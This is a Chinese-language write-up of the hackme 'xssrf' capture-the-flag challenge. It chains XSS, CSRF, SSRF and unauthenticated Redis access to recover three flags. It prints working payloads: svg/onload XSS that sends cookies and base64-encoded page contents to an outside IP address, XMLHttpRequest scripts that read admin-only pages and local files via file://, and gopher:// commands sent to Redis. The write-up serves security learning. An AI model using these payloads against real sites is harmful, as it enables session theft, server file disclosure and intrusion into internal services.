前言
hackme上一道感觉挺有意思的题目,看了dalao的文章复现一下
XSS+CSRF+Redis,可以说是一道非常nice的题目了(特别是作为写过xssbot的我看来
这样的优质题目真的良心
原文地址 https://www.anquanke.com/post/id/156377
xssme复现
题目链接1
https://xssrf.hackme.inndy.tw/index.php
扫一下目录,有个robots.txt1
2
3
4User-agent: *
Disallow: /config.php
Disallow: /you/cant/read/config.php/can/you?
Disallow: /backup.zip
压缩包里有个config.php,但是需要密码,因为是web题目的话应该是不大可能爆破什么的
再结合泄露的信息想的话密码应该在config.php中,想办法去读
回到首页先看看I am admin from this website, I will read all your mails but never reply.
很明显的csrf套路,所以大致思路是xss+csrf读源码
给admin发邮件试一试,xss恶意代码触发了waf
用属性的实体编码可以bypass
原始payload样板为1
2<svg/onload="javascript:alert(1)">
<svg/onload=alert(1)>
实体编码下其中一个1
<svg/onload="javascript:document.location.href=('http://123.207.14.45:7777?cookie='+document.cookie)">
src属性已经禁用js伪协议了。。之前也不知道被哪篇文章误导了,坑了我好久,果然实践才是检验真理的唯一标准。
其实这也是我屡试不爽的payload
成功打到cookie1
FLAG{Sometimes, XSS can be critical vulnerability <script>alert(1)</script>}
然后有个提示,FLAG_2=IN_THE_REDIS
应该是flag2在redis中的意思
先用admin的cookie尝试登陆一下
发现只允许local
改XFF是绕不过去的,而且这种设计XSS题一般思路都是用XSS去读源码
有点类似网鼎高校组那一场
直接尝试读一下后台的源码1
<svg/onload="document.location='http://123.207.14.45:7777/?'+btoa(document.body.innerHTML)">
同理直接编码1
2<svg/onload="document.location='http://123.207.14.45:7777/?'+btoa(document.body.innerHTML)
">
编码一下1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43<nav class="navbar navbar-expand-lg navbar-dark bg-dark d-flex">
<a class="navbar-brand" href="index.php">XSSRF</a>
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link" href="sendmail.php">Send Mail</a>
</li>
<li class="nav-item">
<a class="nav-link" href="mailbox.php">Mailbox</a>
</li>
<li class="nav-item">
<a class="nav-link" href="sentmail.php">Sent Mail</a>
</li>
<li class="nav-item">
<a class="nav-link" href="setadmin.php">Set Admin</a>
</li>
<li class="nav-item">
<a class="nav-link" href="request.php">Send Request</a>
</li>
</ul>
<ul class="navbar-nav ml-auto">
<li class="nav-item">
<span class="navbar-text">Hello, admin (Administrator)</span>
</li>
<li class="nav-item">
<a class="nav-link" href="logout.php">Logout</a>
</li>
</ul>
</nav>
<div class="container">
<div class="card text-white bg-dark">
<div class="card-body">
<h2 class="card-title">
4444444 </h2>
<h4>From: <a href="sendmail.php?to=a11">a11</a></h4>
<div class="card-text"><svg onload="document.location='http://123.207.14.45:7777/?'+btoa(document.body.innerHTML)
"></svg></div>
</div>
</div>
</div>
比较一下,这段代码显然是admin才拥有的1
2
3<li class="nav-item">
<a class="nav-link" href="request.php">Send Request</a>
</li>
然后要如何利用呢
访问发现同样要admin才可以
这里就必须用AJAX读源码了,和网鼎一样的套路1
2
3
4
5
6
7
8
9
10
11
12<svg/onload="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.location='http://123.207.14.45:7777/?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open("GET","request.php",true);
xmlhttp.send();
">
编码一下可以打到requests.php的内容
1 |
|
看到这里提交的表单,基本可以确定是一个SSRF了
SSRF+file协议可以读文件
真的是完美的链条啊
同样利用AJAX发送POST包1
2
3
4
5
6
7
8
9
10
11
12
13<svg/onload="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.location='http://123.207.14.45:7777/?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=file:///etc/passwd");
">
读取etc/passwd作为尝试
记住同样是要实体编码的
可以看到读取成功了
现在理一下思路的话会发现我们可以去读最开始的那个config.php了
同样的方法读取一下1
2
3
4
5
6
7
8
9
10
11
12
13<svg/onload="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.location='http://123.207.14.45:7777/?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=file:///var/www/html/config.php");
">
这里需要猜一下根目录1
2Apache /var/wwww/html
Nginx /usr/local/nginx/html
这是一般默认的根目录
读到文件1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>XSSRF - Request</title>
<link rel="stylesheet" href="bootstrap/css/bootstrap.min.css" media="all">
<link rel="stylesheet" href="style.css" media="all">
<style>pre { background-color: #eee; padding: 5px; }</style>
</head>
<body>
<nav class="navbar navbar-expand-lg navbar-dark bg-dark d-flex">
<a class="navbar-brand" href="index.php">XSSRF</a>
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link" href="sendmail.php">Send Mail</a>
</li>
<li class="nav-item">
<a class="nav-link" href="mailbox.php">Mailbox</a>
</li>
<li class="nav-item">
<a class="nav-link" href="sentmail.php">Sent Mail</a>
</li>
<li class="nav-item">
<a class="nav-link" href="setadmin.php">Set Admin</a>
</li>
<li class="nav-item">
<a class="nav-link" href="request.php">Send Request</a>
</li>
</ul>
<ul class="navbar-nav ml-auto">
<li class="nav-item">
<span class="navbar-text">Hello, admin (Administrator)</span>
</li>
<li class="nav-item">
<a class="nav-link" href="logout.php">Logout</a>
</li>
</ul>
</nav>
<div class="container">
<pre><code><?php
// database config
define('DB_USER', 'xssrf');
define('DB_PASS', 'xssrfmeplz');
define('DB_HOST', 'host=localhost');
define('DB_NAME', 'xssrf');
// redis config
define('REDIS_HOST', 'localhost');
define('REDIS_PORT', 25566);
// define flag
define('FLAG', 'FLAG{curl -v -o flag --next flag://in-the.redis/the?port=25566&good=luck}');
$c_hardness = 5; // how many proof of work leading zeros
</code></pre>
<form action="/request.php" method="POST">
<div class="form-group">
<label for="url">URL</label>
<textarea name="url" class="form-control" id="url" aria-describedby="url" placeholder="URL" rows="10">file:///var/www/html/config.php
可以看到第二个flag
并且提示下一个flag要利用redis
redis最常见的姿势无非是未授权访问
可以利用gopher协议1
2
3
4
5
6
7
8
9
10
11
12
13<svg/onload="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.location='http://123.207.14.45:7777/?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=gopher://127.0.0.1:25566/_info");
">
要注意的是在SSRF利用gopher协议时,命令前要加_
同时要进行两次URL编码(实际解码了两次,SSRF本身要解码
这里其实可以直接保存到本地为html文件再打开看效果1
xmlhttp.send("url=gopher://127.0.0.1:25566/_keys%2520*");
这里的空格就是编码两次的
然后可以看到有个flag的键
然后读一下flag1
xmlhttp.send("url=gopher://127.0.0.1:25566/_get%2520flag")
报错了,类型错误,那就看一下类型吧(有不会的就去翻文档1
xmlhttp.send("url=gopher://127.0.0.1:25566/_type%2520flag%250a_quit");
是个列表,再看下长度1
xmlhttp.send("url=gopher://127.0.0.1:25566/_llen%2520flag");
读一下1
xmlhttp.send("url=gopher://127.0.0.1:25566/_lrange%2520flag%25200%252053")
nice啊马飞
python脚本处理下1
2
3
4
5s='.....'
flag = s.replace('\n\n\n\n',' ')
flag = flag.replace('$1','')
flag = flag.replace('\n','')
print(flag[::-1])
终于搞定了1
FLAG{Redis without authentication is easy to exploit}
后记
xss牛逼
然后这真的是道好题啊